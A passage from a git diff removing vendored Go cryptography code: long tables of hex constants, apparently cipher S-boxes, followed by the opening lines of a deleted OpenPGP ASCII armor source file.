0x73bfbe70, 0x83877605, 0x4523ecf1, - }, - { - 0x8defc240, 0x25fa5d9f, 0xeb903dbf, 0xe810c907, 0x47607fff, 0x369fe44b, 0x8c1fc644, 0xaececa90, - 0xbeb1f9bf, 0xeefbcaea, 0xe8cf1950, 0x51df07ae, 0x920e8806, 0xf0ad0548, 0xe13c8d83, 0x927010d5, - 0x11107d9f, 0x07647db9, 0xb2e3e4d4, 0x3d4f285e, 0xb9afa820, 0xfade82e0, 0xa067268b, 0x8272792e, - 0x553fb2c0, 0x489ae22b, 0xd4ef9794, 0x125e3fbc, 0x21fffcee, 0x825b1bfd, 0x9255c5ed, 0x1257a240, - 0x4e1a8302, 0xbae07fff, 0x528246e7, 0x8e57140e, 0x3373f7bf, 0x8c9f8188, 0xa6fc4ee8, 0xc982b5a5, - 0xa8c01db7, 0x579fc264, 0x67094f31, 0xf2bd3f5f, 0x40fff7c1, 0x1fb78dfc, 0x8e6bd2c1, 0x437be59b, - 0x99b03dbf, 0xb5dbc64b, 0x638dc0e6, 0x55819d99, 0xa197c81c, 0x4a012d6e, 0xc5884a28, 0xccc36f71, - 0xb843c213, 0x6c0743f1, 0x8309893c, 0x0feddd5f, 0x2f7fe850, 0xd7c07f7e, 0x02507fbf, 0x5afb9a04, - 0xa747d2d0, 0x1651192e, 0xaf70bf3e, 0x58c31380, 0x5f98302e, 0x727cc3c4, 0x0a0fb402, 0x0f7fef82, - 0x8c96fdad, 0x5d2c2aae, 0x8ee99a49, 0x50da88b8, 0x8427f4a0, 0x1eac5790, 0x796fb449, 0x8252dc15, - 0xefbd7d9b, 0xa672597d, 0xada840d8, 0x45f54504, 0xfa5d7403, 0xe83ec305, 0x4f91751a, 0x925669c2, - 0x23efe941, 0xa903f12e, 0x60270df2, 0x0276e4b6, 0x94fd6574, 0x927985b2, 0x8276dbcb, 0x02778176, - 0xf8af918d, 0x4e48f79e, 0x8f616ddf, 0xe29d840e, 0x842f7d83, 0x340ce5c8, 0x96bbb682, 0x93b4b148, - 0xef303cab, 0x984faf28, 0x779faf9b, 0x92dc560d, 0x224d1e20, 0x8437aa88, 0x7d29dc96, 0x2756d3dc, - 0x8b907cee, 0xb51fd240, 0xe7c07ce3, 0xe566b4a1, 0xc3e9615e, 0x3cf8209d, 0x6094d1e3, 0xcd9ca341, - 0x5c76460e, 0x00ea983b, 0xd4d67881, 0xfd47572c, 0xf76cedd9, 0xbda8229c, 0x127dadaa, 0x438a074e, - 0x1f97c090, 0x081bdb8a, 0x93a07ebe, 0xb938ca15, 0x97b03cff, 0x3dc2c0f8, 0x8d1ab2ec, 0x64380e51, - 0x68cc7bfb, 0xd90f2788, 0x12490181, 0x5de5ffd4, 0xdd7ef86a, 0x76a2e214, 0xb9a40368, 0x925d958f, - 0x4b39fffa, 0xba39aee9, 0xa4ffd30b, 0xfaf7933b, 0x6d498623, 0x193cbcfa, 0x27627545, 0x825cf47a, - 0x61bd8ba0, 0xd11e42d1, 0xcead04f4, 0x127ea392, 0x10428db7, 0x8272a972, 0x9270c4a8, 0x127de50b, - 0x285ba1c8, 0x3c62f44f, 0x35c0eaa5, 0xe805d231, 0x428929fb, 0xb4fcdf82, 0x4fb66a53, 0x0e7dc15b, - 0x1f081fab, 0x108618ae, 0xfcfd086d, 0xf9ff2889, 0x694bcc11, 0x236a5cae, 0x12deca4d, 0x2c3f8cc5, - 0xd2d02dfe, 0xf8ef5896, 0xe4cf52da, 0x95155b67, 0x494a488c, 0xb9b6a80c, 0x5c8f82bc, 0x89d36b45, - 0x3a609437, 0xec00c9a9, 0x44715253, 0x0a874b49, 0xd773bc40, 0x7c34671c, 0x02717ef6, 0x4feb5536, - 0xa2d02fff, 0xd2bf60c4, 0xd43f03c0, 0x50b4ef6d, 0x07478cd1, 0x006e1888, 0xa2e53f55, 0xb9e6d4bc, - 0xa2048016, 0x97573833, 0xd7207d67, 0xde0f8f3d, 0x72f87b33, 0xabcc4f33, 0x7688c55d, 0x7b00a6b0, - 0x947b0001, 0x570075d2, 0xf9bb88f8, 0x8942019e, 0x4264a5ff, 0x856302e0, 0x72dbd92b, 0xee971b69, - 0x6ea22fde, 0x5f08ae2b, 0xaf7a616d, 0xe5c98767, 0xcf1febd2, 0x61efc8c2, 0xf1ac2571, 0xcc8239c2, - 0x67214cb8, 0xb1e583d1, 0xb7dc3e62, 0x7f10bdce, 0xf90a5c38, 0x0ff0443d, 0x606e6dc6, 0x60543a49, - 0x5727c148, 0x2be98a1d, 0x8ab41738, 0x20e1be24, 0xaf96da0f, 0x68458425, 0x99833be5, 0x600d457d, - 0x282f9350, 0x8334b362, 0xd91d1120, 0x2b6d8da0, 0x642b1e31, 0x9c305a00, 0x52bce688, 0x1b03588a, - 0xf7baefd5, 0x4142ed9c, 0xa4315c11, 0x83323ec5, 0xdfef4636, 0xa133c501, 0xe9d3531c, 0xee353783, - }, - { - 0x9db30420, 0x1fb6e9de, 0xa7be7bef, 0xd273a298, 0x4a4f7bdb, 0x64ad8c57, 0x85510443, 0xfa020ed1, - 0x7e287aff, 0xe60fb663, 0x095f35a1, 0x79ebf120, 0xfd059d43, 0x6497b7b1, 0xf3641f63, 0x241e4adf, - 0x28147f5f, 0x4fa2b8cd, 0xc9430040, 0x0cc32220, 0xfdd30b30, 0xc0a5374f, 0x1d2d00d9, 0x24147b15, - 0xee4d111a, 0x0fca5167, 0x71ff904c, 0x2d195ffe, 0x1a05645f, 0x0c13fefe, 0x081b08ca, 0x05170121, - 0x80530100, 0xe83e5efe, 0xac9af4f8, 0x7fe72701, 0xd2b8ee5f, 0x06df4261, 0xbb9e9b8a, 0x7293ea25, - 0xce84ffdf, 0xf5718801, 0x3dd64b04, 0xa26f263b, 0x7ed48400, 0x547eebe6, 0x446d4ca0, 0x6cf3d6f5, - 0x2649abdf, 0xaea0c7f5, 0x36338cc1, 0x503f7e93, 0xd3772061, 0x11b638e1, 0x72500e03, 0xf80eb2bb, - 0xabe0502e, 0xec8d77de, 0x57971e81, 0xe14f6746, 0xc9335400, 0x6920318f, 0x081dbb99, 0xffc304a5, - 0x4d351805, 0x7f3d5ce3, 0xa6c866c6, 0x5d5bcca9, 0xdaec6fea, 0x9f926f91, 0x9f46222f, 0x3991467d, - 0xa5bf6d8e, 0x1143c44f, 0x43958302, 0xd0214eeb, 0x022083b8, 0x3fb6180c, 0x18f8931e, 0x281658e6, - 0x26486e3e, 0x8bd78a70, 0x7477e4c1, 0xb506e07c, 0xf32d0a25, 0x79098b02, 0xe4eabb81, 0x28123b23, - 0x69dead38, 0x1574ca16, 0xdf871b62, 0x211c40b7, 0xa51a9ef9, 0x0014377b, 0x041e8ac8, 0x09114003, - 0xbd59e4d2, 0xe3d156d5, 0x4fe876d5, 0x2f91a340, 0x557be8de, 0x00eae4a7, 0x0ce5c2ec, 0x4db4bba6, - 0xe756bdff, 0xdd3369ac, 0xec17b035, 0x06572327, 0x99afc8b0, 0x56c8c391, 0x6b65811c, 0x5e146119, - 0x6e85cb75, 0xbe07c002, 0xc2325577, 0x893ff4ec, 0x5bbfc92d, 0xd0ec3b25, 0xb7801ab7, 0x8d6d3b24, - 0x20c763ef, 0xc366a5fc, 0x9c382880, 0x0ace3205, 0xaac9548a, 0xeca1d7c7, 0x041afa32, 0x1d16625a, - 0x6701902c, 0x9b757a54, 0x31d477f7, 0x9126b031, 0x36cc6fdb, 0xc70b8b46, 0xd9e66a48, 0x56e55a79, - 0x026a4ceb, 0x52437eff, 0x2f8f76b4, 0x0df980a5, 0x8674cde3, 0xedda04eb, 0x17a9be04, 0x2c18f4df, - 0xb7747f9d, 0xab2af7b4, 0xefc34d20, 0x2e096b7c, 0x1741a254, 0xe5b6a035, 0x213d42f6, 0x2c1c7c26, - 0x61c2f50f, 0x6552daf9, 0xd2c231f8, 0x25130f69, 0xd8167fa2, 0x0418f2c8, 0x001a96a6, 0x0d1526ab, - 0x63315c21, 0x5e0a72ec, 0x49bafefd, 0x187908d9, 0x8d0dbd86, 0x311170a7, 0x3e9b640c, 0xcc3e10d7, - 0xd5cad3b6, 0x0caec388, 0xf73001e1, 0x6c728aff, 0x71eae2a1, 0x1f9af36e, 0xcfcbd12f, 0xc1de8417, - 0xac07be6b, 0xcb44a1d8, 0x8b9b0f56, 0x013988c3, 0xb1c52fca, 0xb4be31cd, 0xd8782806, 0x12a3a4e2, - 0x6f7de532, 0x58fd7eb6, 0xd01ee900, 0x24adffc2, 0xf4990fc5, 0x9711aac5, 0x001d7b95, 0x82e5e7d2, - 0x109873f6, 0x00613096, 0xc32d9521, 0xada121ff, 0x29908415, 0x7fbb977f, 0xaf9eb3db, 0x29c9ed2a, - 0x5ce2a465, 0xa730f32c, 0xd0aa3fe8, 0x8a5cc091, 0xd49e2ce7, 0x0ce454a9, 0xd60acd86, 0x015f1919, - 0x77079103, 0xdea03af6, 0x78a8565e, 0xdee356df, 0x21f05cbe, 0x8b75e387, 0xb3c50651, 0xb8a5c3ef, - 0xd8eeb6d2, 0xe523be77, 0xc2154529, 0x2f69efdf, 0xafe67afb, 0xf470c4b2, 0xf3e0eb5b, 0xd6cc9876, - 0x39e4460c, 0x1fda8538, 0x1987832f, 0xca007367, 0xa99144f8, 0x296b299e, 0x492fc295, 0x9266beab, - 0xb5676e69, 0x9bd3ddda, 0xdf7e052f, 0xdb25701c, 0x1b5e51ee, 0xf65324e6, 0x6afce36c, 0x0316cc04, - 0x8644213e, 0xb7dc59d0, 0x7965291f, 0xccd6fd43, 0x41823979, 0x932bcdf6, 0xb657c34d, 0x4edfd282, - 0x7ae5290c, 0x3cb9536b, 0x851e20fe, 0x9833557e, 0x13ecf0b0, 0xd3ffb372, 0x3f85c5c1, 0x0aef7ed2, - }, - { - 0x7ec90c04, 0x2c6e74b9, 0x9b0e66df, 0xa6337911, 0xb86a7fff, 0x1dd358f5, 0x44dd9d44, 0x1731167f, - 0x08fbf1fa, 0xe7f511cc, 0xd2051b00, 0x735aba00, 0x2ab722d8, 0x386381cb, 0xacf6243a, 0x69befd7a, - 0xe6a2e77f, 0xf0c720cd, 0xc4494816, 0xccf5c180, 0x38851640, 0x15b0a848, 0xe68b18cb, 0x4caadeff, - 0x5f480a01, 0x0412b2aa, 0x259814fc, 0x41d0efe2, 0x4e40b48d, 0x248eb6fb, 0x8dba1cfe, 0x41a99b02, - 0x1a550a04, 0xba8f65cb, 0x7251f4e7, 0x95a51725, 0xc106ecd7, 0x97a5980a, 0xc539b9aa, 0x4d79fe6a, - 0xf2f3f763, 0x68af8040, 0xed0c9e56, 0x11b4958b, 0xe1eb5a88, 0x8709e6b0, 0xd7e07156, 0x4e29fea7, - 0x6366e52d, 0x02d1c000, 0xc4ac8e05, 0x9377f571, 0x0c05372a, 0x578535f2, 0x2261be02, 0xd642a0c9, - 0xdf13a280, 0x74b55bd2, 0x682199c0, 0xd421e5ec, 0x53fb3ce8, 0xc8adedb3, 0x28a87fc9, 0x3d959981, - 0x5c1ff900, 0xfe38d399, 0x0c4eff0b, 0x062407ea, 0xaa2f4fb1, 0x4fb96976, 0x90c79505, 0xb0a8a774, - 0xef55a1ff, 0xe59ca2c2, 0xa6b62d27, 0xe66a4263, 0xdf65001f, 0x0ec50966, 0xdfdd55bc, 0x29de0655, - 0x911e739a, 0x17af8975, 0x32c7911c, 0x89f89468, 0x0d01e980, 0x524755f4, 0x03b63cc9, 0x0cc844b2, - 0xbcf3f0aa, 0x87ac36e9, 0xe53a7426, 0x01b3d82b, 0x1a9e7449, 0x64ee2d7e, 0xcddbb1da, 0x01c94910, - 0xb868bf80, 0x0d26f3fd, 0x9342ede7, 0x04a5c284, 0x636737b6, 0x50f5b616, 0xf24766e3, 0x8eca36c1, - 0x136e05db, 0xfef18391, 0xfb887a37, 0xd6e7f7d4, 0xc7fb7dc9, 0x3063fcdf, 0xb6f589de, 0xec2941da, - 0x26e46695, 0xb7566419, 0xf654efc5, 0xd08d58b7, 0x48925401, 0xc1bacb7f, 0xe5ff550f, 0xb6083049, - 0x5bb5d0e8, 0x87d72e5a, 0xab6a6ee1, 0x223a66ce, 0xc62bf3cd, 0x9e0885f9, 0x68cb3e47, 0x086c010f, - 0xa21de820, 0xd18b69de, 0xf3f65777, 0xfa02c3f6, 0x407edac3, 0xcbb3d550, 0x1793084d, 0xb0d70eba, - 0x0ab378d5, 0xd951fb0c, 0xded7da56, 0x4124bbe4, 0x94ca0b56, 0x0f5755d1, 0xe0e1e56e, 0x6184b5be, - 0x580a249f, 0x94f74bc0, 0xe327888e, 0x9f7b5561, 0xc3dc0280, 0x05687715, 0x646c6bd7, 0x44904db3, - 0x66b4f0a3, 0xc0f1648a, 0x697ed5af, 0x49e92ff6, 0x309e374f, 0x2cb6356a, 0x85808573, 0x4991f840, - 0x76f0ae02, 0x083be84d, 0x28421c9a, 0x44489406, 0x736e4cb8, 0xc1092910, 0x8bc95fc6, 0x7d869cf4, - 0x134f616f, 0x2e77118d, 0xb31b2be1, 0xaa90b472, 0x3ca5d717, 0x7d161bba, 0x9cad9010, 0xaf462ba2, - 0x9fe459d2, 0x45d34559, 0xd9f2da13, 0xdbc65487, 0xf3e4f94e, 0x176d486f, 0x097c13ea, 0x631da5c7, - 0x445f7382, 0x175683f4, 0xcdc66a97, 0x70be0288, 0xb3cdcf72, 0x6e5dd2f3, 0x20936079, 0x459b80a5, - 0xbe60e2db, 0xa9c23101, 0xeba5315c, 0x224e42f2, 0x1c5c1572, 0xf6721b2c, 0x1ad2fff3, 0x8c25404e, - 0x324ed72f, 0x4067b7fd, 0x0523138e, 0x5ca3bc78, 0xdc0fd66e, 0x75922283, 0x784d6b17, 0x58ebb16e, - 0x44094f85, 0x3f481d87, 0xfcfeae7b, 0x77b5ff76, 0x8c2302bf, 0xaaf47556, 0x5f46b02a, 0x2b092801, - 0x3d38f5f7, 0x0ca81f36, 0x52af4a8a, 0x66d5e7c0, 0xdf3b0874, 0x95055110, 0x1b5ad7a8, 0xf61ed5ad, - 0x6cf6e479, 0x20758184, 0xd0cefa65, 0x88f7be58, 0x4a046826, 0x0ff6f8f3, 0xa09c7f70, 0x5346aba0, - 0x5ce96c28, 0xe176eda3, 0x6bac307f, 0x376829d2, 0x85360fa9, 0x17e3fe2a, 0x24b79767, 0xf5a96b20, - 0xd6cd2595, 0x68ff1ebf, 0x7555442c, 0xf19f06be, 0xf9e0659a, 0xeeb9491d, 0x34010718, 0xbb30cab8, - 0xe822fe15, 0x88570983, 0x750e6249, 0xda627e55, 0x5e76ffa8, 0xb1534546, 0x6d47de08, 0xefe9e7d4, - }, - { - 0xf6fa8f9d, 0x2cac6ce1, 0x4ca34867, 0xe2337f7c, 0x95db08e7, 0x016843b4, 0xeced5cbc, 0x325553ac, - 0xbf9f0960, 0xdfa1e2ed, 0x83f0579d, 0x63ed86b9, 0x1ab6a6b8, 0xde5ebe39, 0xf38ff732, 0x8989b138, - 0x33f14961, 0xc01937bd, 0xf506c6da, 0xe4625e7e, 0xa308ea99, 0x4e23e33c, 0x79cbd7cc, 0x48a14367, - 0xa3149619, 0xfec94bd5, 0xa114174a, 0xeaa01866, 0xa084db2d, 0x09a8486f, 0xa888614a, 0x2900af98, - 0x01665991, 0xe1992863, 0xc8f30c60, 0x2e78ef3c, 0xd0d51932, 0xcf0fec14, 0xf7ca07d2, 0xd0a82072, - 0xfd41197e, 0x9305a6b0, 0xe86be3da, 0x74bed3cd, 0x372da53c, 0x4c7f4448, 0xdab5d440, 0x6dba0ec3, - 0x083919a7, 0x9fbaeed9, 0x49dbcfb0, 0x4e670c53, 0x5c3d9c01, 0x64bdb941, 0x2c0e636a, 0xba7dd9cd, - 0xea6f7388, 0xe70bc762, 0x35f29adb, 0x5c4cdd8d, 0xf0d48d8c, 0xb88153e2, 0x08a19866, 0x1ae2eac8, - 0x284caf89, 0xaa928223, 0x9334be53, 0x3b3a21bf, 0x16434be3, 0x9aea3906, 0xefe8c36e, 0xf890cdd9, - 0x80226dae, 0xc340a4a3, 0xdf7e9c09, 0xa694a807, 0x5b7c5ecc, 0x221db3a6, 0x9a69a02f, 0x68818a54, - 0xceb2296f, 0x53c0843a, 0xfe893655, 0x25bfe68a, 0xb4628abc, 0xcf222ebf, 0x25ac6f48, 0xa9a99387, - 0x53bddb65, 0xe76ffbe7, 0xe967fd78, 0x0ba93563, 0x8e342bc1, 0xe8a11be9, 0x4980740d, 0xc8087dfc, - 0x8de4bf99, 0xa11101a0, 0x7fd37975, 0xda5a26c0, 0xe81f994f, 0x9528cd89, 0xfd339fed, 0xb87834bf, - 0x5f04456d, 0x22258698, 0xc9c4c83b, 0x2dc156be, 0x4f628daa, 0x57f55ec5, 0xe2220abe, 0xd2916ebf, - 0x4ec75b95, 0x24f2c3c0, 0x42d15d99, 0xcd0d7fa0, 0x7b6e27ff, 0xa8dc8af0, 0x7345c106, 0xf41e232f, - 0x35162386, 0xe6ea8926, 0x3333b094, 0x157ec6f2, 0x372b74af, 0x692573e4, 0xe9a9d848, 0xf3160289, - 0x3a62ef1d, 0xa787e238, 0xf3a5f676, 0x74364853, 0x20951063, 0x4576698d, 0xb6fad407, 0x592af950, - 0x36f73523, 0x4cfb6e87, 0x7da4cec0, 0x6c152daa, 0xcb0396a8, 0xc50dfe5d, 0xfcd707ab, 0x0921c42f, - 0x89dff0bb, 0x5fe2be78, 0x448f4f33, 0x754613c9, 0x2b05d08d, 0x48b9d585, 0xdc049441, 0xc8098f9b, - 0x7dede786, 0xc39a3373, 0x42410005, 0x6a091751, 0x0ef3c8a6, 0x890072d6, 0x28207682, 0xa9a9f7be, - 0xbf32679d, 0xd45b5b75, 0xb353fd00, 0xcbb0e358, 0x830f220a, 0x1f8fb214, 0xd372cf08, 0xcc3c4a13, - 0x8cf63166, 0x061c87be, 0x88c98f88, 0x6062e397, 0x47cf8e7a, 0xb6c85283, 0x3cc2acfb, 0x3fc06976, - 0x4e8f0252, 0x64d8314d, 0xda3870e3, 0x1e665459, 0xc10908f0, 0x513021a5, 0x6c5b68b7, 0x822f8aa0, - 0x3007cd3e, 0x74719eef, 0xdc872681, 0x073340d4, 0x7e432fd9, 0x0c5ec241, 0x8809286c, 0xf592d891, - 0x08a930f6, 0x957ef305, 0xb7fbffbd, 0xc266e96f, 0x6fe4ac98, 0xb173ecc0, 0xbc60b42a, 0x953498da, - 0xfba1ae12, 0x2d4bd736, 0x0f25faab, 0xa4f3fceb, 0xe2969123, 0x257f0c3d, 0x9348af49, 0x361400bc, - 0xe8816f4a, 0x3814f200, 0xa3f94043, 0x9c7a54c2, 0xbc704f57, 0xda41e7f9, 0xc25ad33a, 0x54f4a084, - 0xb17f5505, 0x59357cbe, 0xedbd15c8, 0x7f97c5ab, 0xba5ac7b5, 0xb6f6deaf, 0x3a479c3a, 0x5302da25, - 0x653d7e6a, 0x54268d49, 0x51a477ea, 0x5017d55b, 0xd7d25d88, 0x44136c76, 0x0404a8c8, 0xb8e5a121, - 0xb81a928a, 0x60ed5869, 0x97c55b96, 0xeaec991b, 0x29935913, 0x01fdb7f1, 0x088e8dfa, 0x9ab6f6f5, - 0x3b4cbf9f, 0x4a5de3ab, 0xe6051d35, 0xa0e1d855, 0xd36b4cf1, 0xf544edeb, 0xb0e93524, 0xbebb8fbd, - 0xa2d762cf, 0x49c92f54, 0x38b5f331, 0x7128a454, 0x48392905, 0xa65b1db8, 0x851c97bd, 0xd675cf2f, - }, - { - 0x85e04019, 0x332bf567, 0x662dbfff, 0xcfc65693, 0x2a8d7f6f, 0xab9bc912, 0xde6008a1, 0x2028da1f, - 0x0227bce7, 0x4d642916, 0x18fac300, 0x50f18b82, 0x2cb2cb11, 0xb232e75c, 0x4b3695f2, 0xb28707de, - 0xa05fbcf6, 0xcd4181e9, 0xe150210c, 0xe24ef1bd, 0xb168c381, 0xfde4e789, 0x5c79b0d8, 0x1e8bfd43, - 0x4d495001, 0x38be4341, 0x913cee1d, 0x92a79c3f, 0x089766be, 0xbaeeadf4, 0x1286becf, 0xb6eacb19, - 0x2660c200, 0x7565bde4, 0x64241f7a, 0x8248dca9, 0xc3b3ad66, 0x28136086, 0x0bd8dfa8, 0x356d1cf2, - 0x107789be, 0xb3b2e9ce, 0x0502aa8f, 0x0bc0351e, 0x166bf52a, 0xeb12ff82, 0xe3486911, 0xd34d7516, - 0x4e7b3aff, 0x5f43671b, 0x9cf6e037, 0x4981ac83, 0x334266ce, 0x8c9341b7, 0xd0d854c0, 0xcb3a6c88, - 0x47bc2829, 0x4725ba37, 0xa66ad22b, 0x7ad61f1e, 0x0c5cbafa, 0x4437f107, 0xb6e79962, 0x42d2d816, - 0x0a961288, 0xe1a5c06e, 0x13749e67, 0x72fc081a, 0xb1d139f7, 0xf9583745, 0xcf19df58, 0xbec3f756, - 0xc06eba30, 0x07211b24, 0x45c28829, 0xc95e317f, 0xbc8ec511, 0x38bc46e9, 0xc6e6fa14, 0xbae8584a, - 0xad4ebc46, 0x468f508b, 0x7829435f, 0xf124183b, 0x821dba9f, 0xaff60ff4, 0xea2c4e6d, 0x16e39264, - 0x92544a8b, 0x009b4fc3, 0xaba68ced, 0x9ac96f78, 0x06a5b79a, 0xb2856e6e, 0x1aec3ca9, 0xbe838688, - 0x0e0804e9, 0x55f1be56, 0xe7e5363b, 0xb3a1f25d, 0xf7debb85, 0x61fe033c, 0x16746233, 0x3c034c28, - 0xda6d0c74, 0x79aac56c, 0x3ce4e1ad, 0x51f0c802, 0x98f8f35a, 0x1626a49f, 0xeed82b29, 0x1d382fe3, - 0x0c4fb99a, 0xbb325778, 0x3ec6d97b, 0x6e77a6a9, 0xcb658b5c, 0xd45230c7, 0x2bd1408b, 0x60c03eb7, - 0xb9068d78, 0xa33754f4, 0xf430c87d, 0xc8a71302, 0xb96d8c32, 0xebd4e7be, 0xbe8b9d2d, 0x7979fb06, - 0xe7225308, 0x8b75cf77, 0x11ef8da4, 0xe083c858, 0x8d6b786f, 0x5a6317a6, 0xfa5cf7a0, 0x5dda0033, - 0xf28ebfb0, 0xf5b9c310, 0xa0eac280, 0x08b9767a, 0xa3d9d2b0, 0x79d34217, 0x021a718d, 0x9ac6336a, - 0x2711fd60, 0x438050e3, 0x069908a8, 0x3d7fedc4, 0x826d2bef, 0x4eeb8476, 0x488dcf25, 0x36c9d566, - 0x28e74e41, 0xc2610aca, 0x3d49a9cf, 0xbae3b9df, 0xb65f8de6, 0x92aeaf64, 0x3ac7d5e6, 0x9ea80509, - 0xf22b017d, 0xa4173f70, 0xdd1e16c3, 0x15e0d7f9, 0x50b1b887, 0x2b9f4fd5, 0x625aba82, 0x6a017962, - 0x2ec01b9c, 0x15488aa9, 0xd716e740, 0x40055a2c, 0x93d29a22, 0xe32dbf9a, 0x058745b9, 0x3453dc1e, - 0xd699296e, 0x496cff6f, 0x1c9f4986, 0xdfe2ed07, 0xb87242d1, 0x19de7eae, 0x053e561a, 0x15ad6f8c, - 0x66626c1c, 0x7154c24c, 0xea082b2a, 0x93eb2939, 0x17dcb0f0, 0x58d4f2ae, 0x9ea294fb, 0x52cf564c, - 0x9883fe66, 0x2ec40581, 0x763953c3, 0x01d6692e, 0xd3a0c108, 0xa1e7160e, 0xe4f2dfa6, 0x693ed285, - 0x74904698, 0x4c2b0edd, 0x4f757656, 0x5d393378, 0xa132234f, 0x3d321c5d, 0xc3f5e194, 0x4b269301, - 0xc79f022f, 0x3c997e7e, 0x5e4f9504, 0x3ffafbbd, 0x76f7ad0e, 0x296693f4, 0x3d1fce6f, 0xc61e45be, - 0xd3b5ab34, 0xf72bf9b7, 0x1b0434c0, 0x4e72b567, 0x5592a33d, 0xb5229301, 0xcfd2a87f, 0x60aeb767, - 0x1814386b, 0x30bcc33d, 0x38a0c07d, 0xfd1606f2, 0xc363519b, 0x589dd390, 0x5479f8e6, 0x1cb8d647, - 0x97fd61a9, 0xea7759f4, 0x2d57539d, 0x569a58cf, 0xe84e63ad, 0x462e1b78, 0x6580f87e, 0xf3817914, - 0x91da55f4, 0x40a230f3, 0xd1988f35, 0xb6e318d2, 0x3ffa50bc, 0x3d40f021, 0xc3c0bdae, 0x4958c24c, - 0x518f36b2, 0x84b1d370, 0x0fedce83, 0x878ddada, 0xf2a279c7, 0x94e01be8, 0x90716f4b, 0x954b8aa3, - }, - { - 0xe216300d, 0xbbddfffc, 0xa7ebdabd, 0x35648095, 0x7789f8b7, 0xe6c1121b, 0x0e241600, 0x052ce8b5, - 0x11a9cfb0, 0xe5952f11, 0xece7990a, 0x9386d174, 0x2a42931c, 0x76e38111, 0xb12def3a, 0x37ddddfc, - 0xde9adeb1, 0x0a0cc32c, 0xbe197029, 0x84a00940, 0xbb243a0f, 0xb4d137cf, 0xb44e79f0, 0x049eedfd, - 0x0b15a15d, 0x480d3168, 0x8bbbde5a, 0x669ded42, 0xc7ece831, 0x3f8f95e7, 0x72df191b, 0x7580330d, - 0x94074251, 0x5c7dcdfa, 0xabbe6d63, 0xaa402164, 0xb301d40a, 0x02e7d1ca, 0x53571dae, 0x7a3182a2, - 0x12a8ddec, 0xfdaa335d, 0x176f43e8, 0x71fb46d4, 0x38129022, 0xce949ad4, 0xb84769ad, 0x965bd862, - 0x82f3d055, 0x66fb9767, 0x15b80b4e, 0x1d5b47a0, 0x4cfde06f, 0xc28ec4b8, 0x57e8726e, 0x647a78fc, - 0x99865d44, 0x608bd593, 0x6c200e03, 0x39dc5ff6, 0x5d0b00a3, 0xae63aff2, 0x7e8bd632, 0x70108c0c, - 0xbbd35049, 0x2998df04, 0x980cf42a, 0x9b6df491, 0x9e7edd53, 0x06918548, 0x58cb7e07, 0x3b74ef2e, - 0x522fffb1, 0xd24708cc, 0x1c7e27cd, 0xa4eb215b, 0x3cf1d2e2, 0x19b47a38, 0x424f7618, 0x35856039, - 0x9d17dee7, 0x27eb35e6, 0xc9aff67b, 0x36baf5b8, 0x09c467cd, 0xc18910b1, 0xe11dbf7b, 0x06cd1af8, - 0x7170c608, 0x2d5e3354, 0xd4de495a, 0x64c6d006, 0xbcc0c62c, 0x3dd00db3, 0x708f8f34, 0x77d51b42, - 0x264f620f, 0x24b8d2bf, 0x15c1b79e, 0x46a52564, 0xf8d7e54e, 0x3e378160, 0x7895cda5, 0x859c15a5, - 0xe6459788, 0xc37bc75f, 0xdb07ba0c, 0x0676a3ab, 0x7f229b1e, 0x31842e7b, 0x24259fd7, 0xf8bef472, - 0x835ffcb8, 0x6df4c1f2, 0x96f5b195, 0xfd0af0fc, 0xb0fe134c, 0xe2506d3d, 0x4f9b12ea, 0xf215f225, - 0xa223736f, 0x9fb4c428, 0x25d04979, 0x34c713f8, 0xc4618187, 0xea7a6e98, 0x7cd16efc, 0x1436876c, - 0xf1544107, 0xbedeee14, 0x56e9af27, 0xa04aa441, 0x3cf7c899, 0x92ecbae6, 0xdd67016d, 0x151682eb, - 0xa842eedf, 0xfdba60b4, 0xf1907b75, 0x20e3030f, 0x24d8c29e, 0xe139673b, 0xefa63fb8, 0x71873054, - 0xb6f2cf3b, 0x9f326442, 0xcb15a4cc, 0xb01a4504, 0xf1e47d8d, 0x844a1be5, 0xbae7dfdc, 0x42cbda70, - 0xcd7dae0a, 0x57e85b7a, 0xd53f5af6, 0x20cf4d8c, 0xcea4d428, 0x79d130a4, 0x3486ebfb, 0x33d3cddc, - 0x77853b53, 0x37effcb5, 0xc5068778, 0xe580b3e6, 0x4e68b8f4, 0xc5c8b37e, 0x0d809ea2, 0x398feb7c, - 0x132a4f94, 0x43b7950e, 0x2fee7d1c, 0x223613bd, 0xdd06caa2, 0x37df932b, 0xc4248289, 0xacf3ebc3, - 0x5715f6b7, 0xef3478dd, 0xf267616f, 0xc148cbe4, 0x9052815e, 0x5e410fab, 0xb48a2465, 0x2eda7fa4, - 0xe87b40e4, 0xe98ea084, 0x5889e9e1, 0xefd390fc, 0xdd07d35b, 0xdb485694, 0x38d7e5b2, 0x57720101, - 0x730edebc, 0x5b643113, 0x94917e4f, 0x503c2fba, 0x646f1282, 0x7523d24a, 0xe0779695, 0xf9c17a8f, - 0x7a5b2121, 0xd187b896, 0x29263a4d, 0xba510cdf, 0x81f47c9f, 0xad1163ed, 0xea7b5965, 0x1a00726e, - 0x11403092, 0x00da6d77, 0x4a0cdd61, 0xad1f4603, 0x605bdfb0, 0x9eedc364, 0x22ebe6a8, 0xcee7d28a, - 0xa0e736a0, 0x5564a6b9, 0x10853209, 0xc7eb8f37, 0x2de705ca, 0x8951570f, 0xdf09822b, 0xbd691a6c, - 0xaa12e4f2, 0x87451c0f, 0xe0f6a27a, 0x3ada4819, 0x4cf1764f, 0x0d771c2b, 0x67cdb156, 0x350d8384, - 0x5938fa0f, 0x42399ef3, 0x36997b07, 0x0e84093d, 0x4aa93e61, 0x8360d87b, 0x1fa98b0c, 0x1149382c, - 0xe97625a5, 0x0614d1b7, 0x0e25244b, 0x0c768347, 0x589e8d82, 0x0d2059d1, 0xa466bb1e, 0xf8da0a82, - 0x04f19130, 0xba6e4ec0, 0x99265164, 0x1ee7230d, 0x50b2ad80, 0xeaee6801, 0x8db2a283, 0xea8bf59e, - }, -} diff --git a/vendor/golang.org/x/crypto/openpgp/armor/armor.go b/vendor/golang.org/x/crypto/openpgp/armor/armor.go deleted file mode 100644 index 36a6804364..0000000000 --- a/vendor/golang.org/x/crypto/openpgp/armor/armor.go +++ /dev/null @@ -1,224 +0,0 @@ -// Copyright 2010 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -// Package armor implements OpenPGP ASCII Armor, see RFC 4880. OpenPGP Armor is -// very similar to PEM except that it has an additional CRC checksum. -package armor // import "golang.org/x/crypto/openpgp/armor" - -import ( - "bufio" - "bytes" - "encoding/base64" - "golang.org/x/crypto/openpgp/errors" - "io" -) - -// A 